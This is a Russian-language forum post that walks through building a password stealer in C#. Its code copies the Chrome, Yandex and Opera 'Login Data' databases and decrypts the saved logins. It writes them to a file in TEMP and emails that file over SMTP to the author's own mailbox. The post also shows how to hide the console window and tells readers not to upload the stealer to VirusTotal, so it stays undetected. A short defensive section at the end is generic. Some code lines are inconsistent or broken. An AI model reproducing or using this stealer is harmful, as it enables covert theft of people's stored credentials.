- Автор темы
- #1
Как работает наш стиллер?
- Сначала стиллер проверяет наличие браузерных папок.
- Если файл содержащий пароли существует, идёт проверка на их содержание.
- Если данные не пусты, стиллер добавляет их в текстовой файл.
- После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.
Приступим!
Для начала создаём проект в Visual Studio. Версия фреймворка - 4.5.
Program.cs
Добавим необходимые юзинги:
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
Начинаем кодить, для начала мы создадим папку где будет лежать файл с паролем:
Код:
Directory.CreateDirectory(Path.GetTempPath() + "StealLog");
Папка будет создана в каталоге TEMP.
Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):
Код:
string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};
Теперь создаём переменную pwd_text которая пока что ничему не равна:
Код:
string pwd_text = "";
Добавим в код следующие, объяснение кода в комментариях:
Код:
foreach (string p in paths) //идем по папкам
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
pwd_text += "Stealer by: @deepside\r\n\r\n";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную
{
pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
pwd_text += " \r\n";
}
}
}
}
Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.
Код:
if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))
{
File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
}
Запишем все пароли в .txt файл:
Код:
File.WriteAllText(Path.GetTempPath() + @"StealLog
\Passwords.txt", pwd_text);
Passwords.cs
Создаём новый класс с именем Passwords.cs.
Добавляем туда этот код, объяснение в комментариях:
Код:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog
\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"StealLog
\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
}
}
conn.Close();
}
}
Появились ошибки, исправляем их, добавим ссылку:
Проект - Добавить ссылку. Ищем System.Security
Для работы с Login Data установим библиотеку:
Проект - Управление пакетами Nuget. Ищем в поискe "sqlite" и устанавливаем пакет
Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код:
Код:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu
Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.
Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @deepside"; // Заголовок письма
Message.Body = "Stealer by DEEPSIDE"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем
Формат письма:
Формат лога:
Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?
Заходим в свойства проекта, далее делаем как на скрине:
Выбираем "Приложение Windows". Теперь консоль не открывается и стиллер запускается скрытно.
Итог. Что мы имеем?
Вес стиллера ~ 10kb.
Детекты:
Стиллер на VirusTotal не заливать! Проверять можно тут.
Защита.
Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете "ловить" все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.
Как понять что ты заражён стиллером?
- Для начала , нужно понять, остался ли стиллер в автозагрузке, думаю это расписывать не нужно, если остался, то конечно выключаем. Если нет, выходим.
- Дальше, в диспетчере задач, ищем процессы, с ключевыми словами - Stealer, Passview. Так же , бывает скрытые процессы, для этого идем в службы, ищем там, те же ключевые слова.
- Выключаем службы, убираем автозапуск.
Заключение.
Сегодня мы написали Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.
Весь код Program.cs - тут
Весь код Passwords.cs - тут